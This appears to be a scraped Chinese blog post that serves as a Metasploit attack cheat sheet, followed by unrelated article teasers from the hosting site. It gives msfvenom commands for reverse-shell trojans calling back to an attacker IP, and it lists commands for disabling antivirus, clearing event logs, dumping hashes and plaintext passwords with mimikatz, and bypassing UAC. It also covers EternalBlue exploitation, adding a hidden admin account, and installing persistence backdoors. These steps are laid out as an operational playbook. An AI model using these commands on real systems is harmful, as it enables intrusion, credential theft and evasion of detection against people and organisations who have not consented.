1.1_Metasploit (MSF) 工具使用

  • MetaSploit 漏洞利用框架


  1. 模块功能

    模块功能
    Auxiliary信息收集,漏洞扫描等辅助功能
    Payloads漏洞验证代码
    Exploits包含漏洞利用脚本
    Encoders绕过检测和过滤
    Evasion绕过杀软
    PostExploits 执行成功,向目标主机发送的一些功能指令
    Nops溢出攻击
  2. 目录说明

    目录内容
    data存放工具和用户接口代码,以及一些数据文件
    plugins包含一些需要通过load命令加载的插件
    scriptmeterpreter 模块的利用脚本
    tools包含一些有用的脚本和零散的工具
  3. 基础操作流程:

    1. 确认攻击目标的IP地址 (ipconfig/ifconfig

    2. 启动模块(msfconsole)检测模块进行搜索(search

    3. 漏洞扫描(use 对应模块

    4. 展示对应信息(show options

    5. 设置相应信息(set

    6. run)判断是否存在漏洞 

    7. 搜索(search)并利用该漏洞 (use

    8. 展示并设置信息(show options)并将LHOST设为本机IP或0.0.0.0(set

    9. 利用漏洞(exploit)进行攻击

    10. 执行(run)漏洞检测工具后,前面有加号(+)代表可能存在漏洞,减号(-)则1代表不存在漏洞;

  4. 生成木马流程:

    系统命令
    Windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=4444 -f exe -o evil.exe
    Linux
    1. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=5555 -f elf -o evil.elf
    2. 需管理员权限 sudo su root
    3. chmod +x evil.elf
    4. ./evil.elf
    监听
    1. msfconsole   启动msf
    2. use exploit/multi/handler  设置监听模块
    3. set payload windows/x64/meterpreter/reverse_tcp  设置监听的payload模块(与上面一致)
    4. set LHOST 192.168.7.229 设置msf监听地址(与上面一致)
    5. set LPORT 4444 设置监听端口(与上面一致)
    6. run 开启监听
  5. stagestageless 的区别

    stagestageless + nc 监听(攻击机启动 nc )
    语句msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=4444 -f exe -o evil.exeWindows:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o reverse_shell.exe

    Linux:msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o reverse_shell.elf
    体积较小较大
    攻击方式需要依赖 msfconsole 来进行操作stageless 能够独立执行
  6. Meterpreter 系统命令

    命令描述
    background / bg将当前会话置于后台,从Meterpreter 回退到msf框架
    bgkill [ID]杀死后台 meterpreter 脚本
    bglist列出正在运行的后台脚本
    execute -f [程序路径] [参数]  

    -i:跟进程进行交互   -f :指定可执行程序
    在目标系统上执行程序
    getuid查看当前权限
    getsystem尝试将权限提升到本地的系统权限
    hashdump尝试提取目标系统密码hash
    sysinfo / run scraper查看当前目标系统信息 / 详细信息
    shell获取目标主机shell
    run killav尝试关闭Windows 杀毒 (拿到shell后的第一件事)
    exit / quit从 shell 回退到  Meterpreter
    sessions -l查看获得的 meterpreter_shell 会话列表
    sessions ID进入到相应的 meterpreter_shell
    sessions -k杀死所有 sessions
    getpid获取当前进程的pid
    migrate 指定pid将进程注入到指定进程中
    kill 指定pid结束指定进程
    clearev清除日志(最后打扫战场)
    pwd / getwd当前绝对路径(Windows / linux)
    upload 本地路径 指定路径将文件从本地路径上传到指定路径
    download 指定路径 本地路径将文件从指定路径下载到本地路径
    edit编辑文件
    search ,例:search -f *.jsp -d e:\搜索文件 ,搜索E盘中所有以.jsp为后缀的文件
    timestomp -v 指定文件查看指定文件的时间戳
    timestomp 目标文件 指定文件将指定文件的时间戳赋给目标文件
    portfwd add -l 本地端口 -p 目标端口 -r 目标IP将目标IP目标端口的数据转发到本地端口
    run autoroute -s 192.168.111.0/24添加路由到192.168.111.0/24,尝试访问
    run autoroute -proute查看添加的路由
    getproxy显示当前代理配置
    load stdapi当显示 unknown command 时,可以使用该命令尝试加载
    sessions -u id有时候,当成功后收到 cmdshell 的话,可以执行得到sessions

  • 后渗透模块(meterpreter 下执行)


绕过UAC(meterpreter下执行) 

 # 流程: bg - use - sessions - show options - set sessons id - run - 返回新的meterpreter - getuid(确认权限) - getsystem(提权)0 exploit/windows/local/bypassuac				# 进程注入绕过1 exploit/windows/local/bypassuac_comhijack			# COM 处理程序劫持绕过2 exploit/windows/local/bypassuac_dotnet_profiler3 exploit/windows/local/bypassuac_eventvwr			# Eventvwr 注册表项绕过4 exploit/windows/local/bypassuac_fodhelper5 exploit/windows/local/bypassuac_injection6 exploit/windows/local/bypassuac_injection_winsxs7 exploit/windows/local/bypassuac_sdclt8 exploit/windows/local/bypassuac_silentcleanup9 exploit/windows/local/bypassuac_sluihijack10 exploit/windows/local/bypassuac_vbs11 exploit/windows/local/bypassuac_windows_store_filesys12 exploit/windows/local/bypassuac_windows_store_reg

POST 后渗透模块

Windows 信息收集
run post/windows/gather/enum_applications              		# 获取目标主机安装软件信息;
run post/windows/manage/killav                			# 关闭杀毒软件
run post/windows/manage/enable_rdp            			# 开启远程桌面服务
run post/windows/manage/autoroute              			# 查看路由信息
run post/windows/gather/checkvm                        		# 是否虚拟机
run post/windows/gather/enum_domain                     	# 查找目标主机域控.
run post/windows/gather/enum_logged_on_users    		# 列举当前登录的用户
run post/windows/gather/dumplinks                       # 获取最近的文件操作
run post/windows/gather/credentials/windows_autologin 	# 抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump               	# dump出所有用户的hash
run post/windows/gather/enum_domain 			# 查找域控
run post/windows/gather/enum_patches      		# 查看补丁信息进行提权
run post/windows/gather/enum_hostfile                   # 读取 %windir%\system32\drivers\etc\hosts
linux 信息收集
run post/linux/gather/checkvm                           	# 是否虚拟机
run post/linux/gather/enum_configs				# 查看配置信息
run post/linux/gather/enum_network				# 查看网络
run post/linux/gather/enum_protections				# 查看共享
run post/linux/gather/enum_system				# 查看系统和用户信息
run post/linux/gather/enum_users_histroy			# 查看目标主机最近的操作
run post/linux/gather/hashdump					# 获取linux的hash
run post/linux/busybox/enum_hosts                       	# 读取/var/hosts

导入并执行 Powershell 脚本

load powershell                           			# 加载powershell功能
powershell_shell						# 获取powershell终端
Get-Acl -Path HKLM:\SAM\SAM | Format-List          		# powershell终端下执行,查看 Users 或 Everyone 是否有 SAM 注册表项的读取权限
powershell_import /root/PowerView.ps1      			# 导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain           			# 执行该脚本下的功能模块Get-domain,该模块用于获取域信息# 一个脚本下通常有多个功能模块;获取当前用户所在域的名称;powershell_execute Invoke-UserHunter      			# 该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest           			# 该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin 	   		 # 枚举域中所有计算机上本地管理员组的成员

导入mimikatz 脚本

run hashdump                       			# 获取用户密码 hash 值
load mimikatz / kiwi 					# 加载mimikatz
msv 							# 获取ntlm-hash值
creds_all						# 抓取明文密码
Kerberos 						# 获取票据(可能需配合使用)
ssp 							# 获取明文信息(可能包含密码,单条命令)
wdigest 						# 获取系统账户信息
mimikatz_command -f a::                                 # 通过错误查找可用模块
mimikatz_command -f hash::  				# 获取目标系统上的用户账户哈希值 (通常用于本地和域账户)
mimikatz_command -f samdump::hashes			# 从SAM中提取用户账户哈希值 (需系统或管理员权限)
mimikatz_command -f sekurlsa::searchPasswords		# 获取在Windows系统内存中的明文密码和其他敏感信息
mimikatz_command -f handle::list    			# 列出应用进程
mimikatz_command -f service::list  			# 列出服务

嗅探模块 sniffer

use sniffer			    # 加载嗅探模块(sniffer)
sniffer_interfaces                  # 查看网卡信息
sniffer_start 1                     # 开始在序号为1的网卡上抓包
sniffer_dump 1 1.cap                # 下载抓取到的数据包# 对抓取的包进行解包
# 1. 通过wireshark(图形化)
# 2. 对抓取的包进行解压(命令行)
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap                 
run

令牌假冒模块(以假冒的用户的权限执行操作

流程: 
getuid 							# 查看当前用户
use incognito 						# 进入模块
list_tokens -u 						# 查看存在的令牌
impersonate_token 用户名(2个\\)			# 令牌假冒
例:用户名:WIN\test  	impersonate_token\\test		
getuid							# 查看是否成功切换身份

内网扫描模块

# 流程:use - show options - set - run ARP扫描:auxiliary/scanner/discovery/arp_sweep
TCP端口扫描:auxiliary/scanner/portscan/tcp
SYN端口扫描:auxiliary/scanner/portscan/syn 
UDP端口扫描:auxiliary/scanner/portscan/udp
SMB版本探测:auxiliary/scanner/smb/smb_version
SMB漏洞扫描:auxiliary/scanner/smb/smb_ms17_010
本地用户枚举(Windows):auxiliary/scanner/os/windows/enum_local_users
本地服务枚举(Windows):auxiliary/scanner/os/windows/enum_local_services
进程枚举(Windows):auxiliary/scanner/os/windows/enum_processes
本地用户枚举(Linux):auxiliary/scanner/unix/enum_users
本地服务枚举(Linux):auxiliary/scanner/unix/enum_services
进程枚举(Linux):auxiliary/scanner/unix/enum_processes
开放端口枚举:auxiliary/scanner/portscan/tcp
网络共享枚举:auxiliary/scanner/share/smb_share_enum
SNMP信息收集:auxiliary/scanner/snmp/snmp_enum

爆破模块(一般,不太好用

# 流程:use - show options - set - run auxiliary/scanner/mysql/mysql_login         # 爆破 mysql
auxiliary/scanner/mssql/mssql_login         # 爆破 mssql
auxiliary/scanner/ssh/ssh_login             # 爆破 SSH
auxiliary/scanner/snmp/snmp_enum            # 枚举 snmp
auxiliary/scanner/vnc/vnc_login             # 爆破 VNC
auxiliary/scanner/http/tomcat_mgr_login     # 爆破 tomcat

横移漏洞模块

MS08-067
use exploit/windows/smb/ms08_067_netapi    	# 使用模块
set rhosts 172.16.5.27      			# 设置靶机ip
set lhost 172.16.5.28      			# 设置本地ip
set payload generic/shell_bind_tcp    		# 设置payload
run
EhernalBlue(MS17-010)
# 扫描
use auxiliary/scanner/smb/smb_ms17_010             	# 扫描是否存在该漏洞
set rhosts 10.10.10.14    				#设置目标主机的IP,也可以设置整个IP段
set threads 10
run# 利用
use exploit/windows/smb/ms17_010_eternalblue    	# 漏洞利用
set rhosts 10.10.10.14                          	# 设置目标主机的IP,也可以设置整个IP段
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
run# or
use exploit/windows/smb/ms17_010_psexec    		# 漏洞利用
set payload windows/meterpreter/bind_tcp
set rhost 192.168.33.33
run# or
use auxiliary/admin/smb/ms17_010_command    		# 漏洞利用
set rhosts=192.168.26.33.33
set COMMAND net user hack  hack123 /add
set COMMAND net localgroup administrators hack  /add
run

  • MSF 渗透流程


# 生成Linux 木马 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=9999 -f elf -o shell.elf # 启动msf 
msfconsole # 启动监听 
use exploit/multi/handler # 查看需要设置的内容 
show options # 设置参数 
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.7.229 
set LPORT 9999# 运行 
run # kali 另开窗口,启动http服务(注意服务启动位置) 
python -m http.server # 需提权的主机,下载木马 
wget http://192.168.7.229:8000/shell.elf # 赋予执行权限,运行 
chmod +x shell.elf 
./shell.elf # 寻找可提权的nday后执行 
run post/multi/recon/local_exploit_suggester # 将当前命令环境置于后台
bg# 使用前面的提权exp执行 
use exploit/linux/local/cve_2022_0847_dirtypipe 
show options# 查看并选择sessions
# 查看:sessions
# 选择:set session ID# 提权成功,可以以高权限用户身份执行命令
shell# 执行后可能没回显,但能以root身份执行系统命令
例:whoami# 添加路由
run post/multi/manage/autoroute#查看路由信息
run autoroute -p# 设置代理 (默认为 socks5代理 127.0.0.1 的 1080 端口)
run auxiliary/server/socks_proxy# 回车 ,exit,进行主机存活扫描
use auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 10.0.20.0/24
run# 设置代理成功,可以通过输入对应IP和端口实现代理了
# 例:kali编辑proxychains
vim /etc/proxychains.conf
# 写入 (默认1080)
socks5 设置的代理IP 1080     # 亦或是 将代理服务器的IP设为vps公网ip,在本机进行访问
show options
set SRVHOST 公网IP
set SRVPORT 公网端口# 其他 
# 后门(metsvc)(meterpreter下运行)
run metsvc  		# 安装后门(服务名:metsvc,默认端口:31337,路径:C:\Windows\TEMP\目录下新建随机名称的文件夹)# 可选参数:-A :启动后门后,exploit/multi/handler模块自动连接后门     -r:删除后门# 例:run metsvc -A # 手动连接后门(msf下运行)
set payload windows/metsvc_bind_tcp
# 设置ip和端口后,run# 后门(persistence)(meterpreter下运行)
# -X 系统启动时运行  -i 每隔多少秒重连 -r 攻击者ip  -p 攻击者监听端口
run persistence -X -i 10 -r 192.168.7.229 -p 4444     # 生成后门 # 手动连接后门(msf下运行)
set payload windows/meterpreter/reverse_tcp
# 设置ip和端口后,run

  • 其他


# centos 一键安装MSF 命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall# 设置软链接
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole# 卸载Postgresql数据库
yum remove postgresql# 查看是否卸载完成
rpm -qa | grep postgresql # 导入yum源
yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装Postgresql数据库客户端与服务端,这里的12是版本,如果是9.5,那么就是95
yum install -y postgresql12 postgresql12-server # 查询是否安装成功
rpm -qa | grep postgresql# 初始化数据库
/usr/pgsql-12/bin/postgresql-12-setup initdb# 启动服务
systemctl start postgresql-12 
# 设置开机自启
systemctl enable postgresql-12MSF 使用参考链接:https://blog.csdn.net/weixin_45588247/article/details/119614618

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/56866.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是不同类型的微服务测试?

大家好,我是锋哥。今天分享关于【什么是不同类型的微服务测试?】面试题?希望对大家有帮助; 什么是不同类型的微服务测试? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 微服务架构中的测试可以分为多种类…

WPF基础权限系统

一.开发环境 VisualStudio 2022NET SDK 8.0Prism 版本 8.1.97Sqlite 二. 功能介绍 WPF 基础权限系统,是一个支持前后端分离设计的 客户端(C/S)项目,该示例项目前端xaml使用UI库 ,Material Design Themes UI 来构建用户界面,确保…

【into outfile写文件】

简介 select * from user into outfile C:/Users/ichunqiu/Desktop/PhpStudy2018/PHPTutorial/WWW/1.txt;用法的意思就是把user表中查询到的所有字段都导出到1.txt文件中 我们之前还有学到dumpfile,单是它只能导出一条数据 写入shell 测试注入点 usernameadmin&…

【工具】使用perf抓取火焰图

背景 当程序存在cpu性能问题时,我们需要找到是哪个函数占用较多的CPU,也就是找出热点函数;perf的火焰图就是这个用途 安装 在Linux系统中,perf 是 Linux 内核提供的性能分析工具,它通常包含在内核源代码包中。大多数…

编码方式知识整理【ASCII、Unicode和UTF-8】

编码方式 一、ASCII编码二、Unicode 编码三、UTF-8编码四、GB2312编码五、GBK编码 计算机中对数据的存储为二进制形式,但采用什么样的编码方式存储,效率更高。主要编码方式有 ASCII、Unicode、UTF-8等。 英文一般为1个字节,汉字一般为3个字节…

Linux 线程互斥

1.相关背景概念 临界资源&#xff1a;多线程执行流共享的资源就叫做临界资源 临界区&#xff1a;每个线程内部&#xff0c;访问临界资源的代码&#xff0c;就叫做临界区 #include <iostream> #include <pthread.h> #include <string> #include <vector…

mac安装jdk8

这里写自定义目录标题 一、下载JDK8二、安装JDK8三、配置环境变量3.1 找到JDK安装目录3.2 打开终端&#xff1a;3.3 输入如下配置&#xff1a;3.3 查看配置是否成功&#xff1a; 一、下载JDK8 oracle官网下载或从下面链接获取 https://download.csdn.net/download/qq_44107684…

【小沐学Golang】基于Go语言搭建静态文件服务器

文章目录 1、简介2、安装2.1 安装版2.2 压缩版 3、基本操作3.1 go run3.2 go build3.3 go install3.4 go env3.5 go module 4、文件服务器4.1 filebrowser4.2 gohttpserver4.3 goFile 5、FAQ5.1 go.mod 为空5.2 超时 结语 1、简介 https://golang.google.cn/ Go语言诞生于2007…

day02 -- docker

1.docker的介绍 Docker 是一个开源的应用容器引擎&#xff0c;基于 Go语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#xff0c;然后发布到任何流行的 Linux 机器上&#xff0c;也可以实现虚拟化。容器是完全使…

●day 35 动态规划part01

第九章 动态规划part01 动态规划的类别 理论基础 动态规划下五步曲&#xff1a; 1、确定dp数组&#xff08;dp table&#xff09;以及下标的含义 2、确定递推公式 3、dp数组如何初始化 4、确定遍历顺序 5、打印dp数组 代码随想录 斐波那契数 代码随想录 动态规划5部曲 cla…

高级语言源程序转换为可执行目标文件

将高级语言源程序转换为可执行目标文件的过程通常包括以下几个主要步骤&#xff1a; ​ 1. 预处理&#xff08;Preprocessing&#xff09;&#xff1a; 由谁完成预处理器&#xff08;cpp&#xff09;操作处理源代码中的预处理指令&#xff08;如宏定义、文件包含、条件编译等&…

Linux——动态卷的管理

确保已经设置了对应的动态卷的驱动&#xff08;provisioner 制备器&#xff09;基于动态驱动创建对应的存储类创建PVC &#xff08;PVC 将会自动根据大小、访问模式等创建PV&#xff09;Pod的spec 中通过volumes 和 volumemounts 来完成pvc 的绑定和pvc对应pv的挂载删除pod 不…

Linux网络编程(七)-TCP协议客户端及代码实现

1.TCP的客户端代码流程简述 这一章将为大家讲解Socket通信中客户端的实现过程&#xff0c;还是先上图&#xff0c;请大家了解客户端的步骤 可以看到&#xff0c;相比服务端&#xff0c;客户端的步骤简单的很多。事实上这种情况比较多&#xff0c;比如一个服务端会有多个客户端…

JMeter模拟并发请求

PostMan不是严格意义上的并发请求工具&#xff0c;实际是串行的&#xff0c;如果需要测试后台接口并发时程序的准确性&#xff0c;建议采用JMeter工具。 案例&#xff1a;JMeter设置20个并发卖票请求&#xff0c;查看后台是否存在超卖的情况 方式一&#xff1a;一共10张票&…

TrickMo 安卓银行木马新变种利用虚假锁屏窃取密码

近期&#xff0c;研究人员在野外发现了 TrickMo Android 银行木马的 40 个新变种&#xff0c;它们与 16 个下载器和 22 个不同的命令和控制&#xff08;C2&#xff09;基础设施相关联&#xff0c;具有旨在窃取 Android 密码的新功能。 Zimperium 和 Cleafy 均报道了此消息。 …

编写一个通用的i2c控制器驱动框架

往期内容 I2C子系统专栏&#xff1a; I2C&#xff08;IIC&#xff09;协议讲解-CSDN博客SMBus 协议详解-CSDN博客I2C相关结构体讲解:i2c_adapter、i2c_algorithm、i2c_msg-CSDN博客内核提供的通用I2C设备驱动I2c-dev.c分析&#xff1a;注册篇内核提供的通用I2C设备驱动I2C-dev.…

时空数据时序预测模型: HA、VAR、GBRT、GCN、DCRNN、FCCF、ST-MGCN

HA (Historical Average) HA (Historical Average&#xff0c;历史平均模型) 是一种基础的时间序列预测方法&#xff0c;通常用于预测具有周期性或季节性规律的数据。它通过计算历史上同一时间段的平均值来预测未来值&#xff0c;假设数据会遵循某种周期性的变化模式。以下是对…

智能家居的“眼睛”:计算机视觉如何让家更智能

引言 在不远的未来&#xff0c;当我们走进家门&#xff0c;灯光自动亮起&#xff0c;空调已经调至最舒适的温度&#xff0c;甚至音乐也播放着我们最喜欢的歌曲。 这一切&#xff0c;都得益于智能家居系统的发展。而在这个系统中&#xff0c;计算机视觉技术扮演着至关重要的角色…

SpringBoot车辆管理系统:构建与优化

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式&#xff0c;是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示&#xff1a; 图4-1系统工作原理…

群晖通过 Docker 安装 MySQL

1. 打开 Docker 应用&#xff0c;并在注册表搜索 MySQL 2. 下载 MySQL 镜像&#xff0c;并选择版本 3. 在 Docker 文件夹中创建 MySQL&#xff0c;并创建子文件夹 4. 设置权限 5. 选择 MySQL 映像运行&#xff0c;创建容器 6. 配置 MySQL 容器 6.1 使用高权限执行容器 6.2 启…